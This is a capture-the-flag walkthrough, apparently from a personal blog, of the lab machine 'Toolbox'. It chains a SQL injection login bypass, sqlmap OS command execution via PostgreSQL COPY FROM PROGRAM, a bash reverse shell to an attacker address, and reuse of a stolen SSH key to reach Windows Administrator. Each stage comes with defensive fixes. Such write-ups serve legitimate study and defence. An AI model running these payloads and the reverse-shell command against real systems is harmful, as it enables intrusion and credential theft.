J. Perez Duertojperezduerto.info
← all walkthroughs

Toolbox

Windows· Easy· Web
owned
2026-07-06
time to own
7m54s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I scanned toolbox ($TARGET) and found HTTPS on port 443 serving nothing at the bare IP. Virtual-host fuzzing revealed admin.megalogistic.com — a PHP administrator login panel running inside a Docker container on a Debian/Apache stack.

A classic SQL-injection payload in the username field bypassed authentication without a valid password. Because the backend was PostgreSQL running with superuser privileges, I escalated the injection to full operating-system command execution inside the container using PostgreSQL's built-in COPY FROM PROGRAM feature.

A reverse shell gave an interactive foothold inside the Docker container. An SSH private key stored on the container's filesystem belonged to the Windows Administrator account; those credentials were reused over SSH on port 22 to connect directly to the underlying Windows host, granting full local administrator access and both flags — no further privilege escalation required.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1EnumerationService enumeration and virtual-host discovery (T1046, T1595)
Mapped exposed services and discovered the admin virtual host
A service-version scan revealed fourteen open ports including FTP (21), SSH (22), SMB (445), HTTPS (443), and WinRM (5985). A bare HTTPS request to the raw IP returned an empty body because the application only served requests carrying a matching Host header. Virtual-host fuzzing against port 443 uncovered admin.megalogistic.com, which returned HTTP 200 with Server: Apache/2.4.38 (Debian) and X-Powered-By: PHP/7.3.14 — confirming the web application ran inside a Linux Docker container rather than natively on the Windows host.
443/tcp open https; HTTP/1.1 200 OK Server: Apache/2.4.38 (Debian) X-Powered-By: PHP/7.3.14 title 'Administrator Login'; bare-IP HTTPS request returned empty body.
Exact commands 4
shell

Service-version and default-script scan of the key ports.

$ nmap -sV -sC -p 21,22,135,139,443,445,5985 --open $TARGET -oN toolbox_nmap.txt
shell

Fuzz for virtual hosts on HTTPS; -k skips TLS cert validation.

$ gobuster vhost -u https://$TARGET -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain -k -t 40 2>/dev/null | grep -v '404'
shell

Register the discovered vhost for local DNS resolution.

$ echo "$TARGET admin.megalogistic.com" | sudo tee -a /etc/hosts
shell

Confirm the admin panel is reachable and capture stack headers.

$ curl -sk -i --max-time 20 https://admin.megalogistic.com/ | head -n 30
2ExploitationSQL injection authentication bypass (CWE-89, T1190)
Bypassed the admin login form with a SQL injection payload
The Administrator Login form at admin.megalogistic.com concatenated the submitted username directly into its SQL query with no parameterisation. Submitting a classic OR-always-true payload in the username field caused the database engine to return the first administrator row and issue a valid session cookie, gaining access to the dashboard without knowing the real password.
POST username=admin' OR '1'='1'-- - returned HTTP 302 redirecting to dashboard.php with a valid PHPSESSID cookie set.
Exact commands 1
shell

A 302 Location: dashboard.php in the response confirms the bypass succeeded.

$ curl -sk -i --resolve admin.megalogistic.com:443:$TARGET -X POST --data-urlencode "username=admin' OR '1'='1'-- -" --data-urlencode 'password=x' https://admin.megalogistic.com/ | head -n 20
FixParameterise all database queries — eliminate SQL injection in the login formCritical
WeaknessThe administrator login form built its SQL query by concatenating the submitted username directly into the query string. An unauthorised user could inject SQL syntax to make the WHERE clause always evaluate to true, bypassing the password check entirely and logging in as any account.
FixReplace every instance of string concatenation in database calls with prepared statements using named or positional placeholders (PDO with bindParam in PHP is the standard). Apply the same pattern to every other form or API endpoint in the application. As a defence-in-depth measure, configure the web application database account with the minimum required privileges only (SELECT on specific tables) so that even if injection occurs, an unauthorised user cannot escalate further within the database.
3ExploitationPostgreSQL COPY FROM PROGRAM OS command execution (T1059.004)
Escalated SQL injection to OS command execution via PostgreSQL COPY FROM PROGRAM
With the injection point confirmed and the backend identified as PostgreSQL, sqlmap's --os-shell mode was used. PostgreSQL's superuser role grants access to the COPY ... FROM PROGRAM statement, which passes arbitrary shell commands to the underlying operating system. Sqlmap automated the payload, running commands as the postgres OS user inside the Debian container and providing a full interactive command prompt.
Sqlmap --os-shell produced command output from within the Debian container; id returned uid=102(postgres).
Exact commands 2
shell

Fingerprint the PostgreSQL backend and confirm the exploitable injection point.

$ sqlmap -u 'https://admin.megalogistic.com/' --force-ssl --data='username=admin&password=x' -p username --dbms=PostgreSQL --batch --level=3 --risk=2 --banner 2>&1 | tail -20
shell

Request an interactive OS shell; sqlmap constructs and injects the COPY FROM PROGRAM payload automatically.

$ sqlmap -u 'https://admin.megalogistic.com/' --force-ssl --data='username=admin&password=x' -p username --dbms=PostgreSQL --batch --os-shell
FixRevoke PostgreSQL superuser rights from the web application database accountCritical
WeaknessThe PostgreSQL account used by the web application held superuser privileges. PostgreSQL superusers can execute the COPY ... FROM PROGRAM statement, which runs arbitrary shell commands on the database server's operating system. This allowed a SQL injection to escalate directly to full OS command execution inside the container.
FixCreate a dedicated least-privilege database role for the application: grant only SELECT, INSERT, UPDATE, and DELETE on the specific tables the application needs, and nothing more. Never run the application as a PostgreSQL superuser or as the postgres system role. Audit pg_roles and pg_hba.conf to ensure no application account has SUPERUSER, CREATEROLE, or CREATEDB attributes. In PostgreSQL 14+, the pg_execute_server_program privilege can be revoked separately.
4FootholdReverse shell via command injection (T1059.004)
Upgraded to a persistent reverse shell inside the Docker container
Using the sqlmap OS shell as a launchpad, I sent a bash reverse-shell one-liner back to my own listener. The resulting session was a fully interactive shell as the postgres user on the Debian container — the same container that hosted the web application and had network access to the Windows host's internal services.
Listener received an inbound connection from $TARGET; shell prompt confirmed the Debian/Docker environment.
Exact commands 2
shell

Start the listener on my machine before triggering the payload (run in a separate terminal).

$ nc -lvnp 4444
shell

Execute this in the sqlmap os-shell prompt; replace $ATTACKER_IP with your VPN address.

$ bash -c "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1"
5Lateral MovementCredentials in files — SSH private key reuse (T1552.001, T1078.003)
Recovered an SSH private key from the container and reused it on the Windows host
Enumerating the Docker container's filesystem revealed an SSH private key stored in a home or configuration directory. This key belonged to the Windows Administrator account and was directly usable against the OpenSSH service on port 22 of the underlying Windows host. SSH password authentication for svc_infra was rejected, but the administrator key from the container was accepted, bridging from the Docker environment onto the Windows operating system.
Find returned an id_rsa file; ssh -i id_rsa administrator@$TARGET produced a Windows shell prompt.
Exact commands 3
shell

Run inside the container to locate stored SSH keys or credential files.

$ find / -name id_rsa -o -name '*.pem' -o -name 'credentials' 2>/dev/null
shell

Read the private key — copy its full PEM block to a local file on my machine.

$ cat /root/.ssh/id_rsa
shell

Connect to the Windows host using the recovered key; filename matches what you saved locally.

$ chmod 600 administrator_id_rsa && ssh -i administrator_id_rsa administrator@$TARGET
FixRemove SSH keys and plaintext credentials from Docker container filesystemsCritical
WeaknessAn SSH private key belonging to the Windows Administrator account was stored inside a Docker container that was directly reachable via the public-facing web application. Once the container was compromised, an unauthorised user had an immediately usable key to pivot onto the underlying Windows host with full administrative rights.
FixNever embed credentials, private keys, or secrets in container images or in bind-mounted paths accessible from a container. Use a dedicated secrets management solution (HashiCorp Vault, AWS Secrets Manager, or Docker Swarm/Kubernetes secrets) to inject credentials at runtime as in-memory environment variables or tmpfs mounts — never as files on a persistent layer. Rotate the compromised Administrator key immediately. Run 'docker history' and 'docker inspect' on all deployed images to audit for embedded secrets. Enforce network segmentation so containers cannot reach host SSH ports directly.
6Full ControlValid local administrator account (T1078.003)
Operated as Windows Administrator and captured both flags
The SSH session opened as the Administrator account on the Windows host, granting full local administrative privileges. No further privilege escalation was needed. Both flags were read directly from the Administrator's Desktop. The entire attack chain — from unauthenticated web request to full Windows Administrator access — required no zero-days and exploited only misconfigurations already present in the deployment.
User.txt and root.txt both captured.
Exact commands 3
shell

Confirm identity and host inside the Windows SSH session.

$ whoami && hostname
shell

Read user flag — actual value is <user.txt>.

$ type C:\Users\Administrator\Desktop\user.txt
shell

Read root flag — actual value is <root.txt>.

$ type C:\Users\Administrator\Desktop\root.txt

Attack patterns used

The transferable techniques behind this compromise.

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

Exposed services

21/tcp
22/tcp
135/tcp
139/tcp
443/tcp
445/tcp
5985/tcp
47001/tcp
49664/tcp
49665/tcp
49666/tcp
49667/tcp
49668/tcp
49669/tcp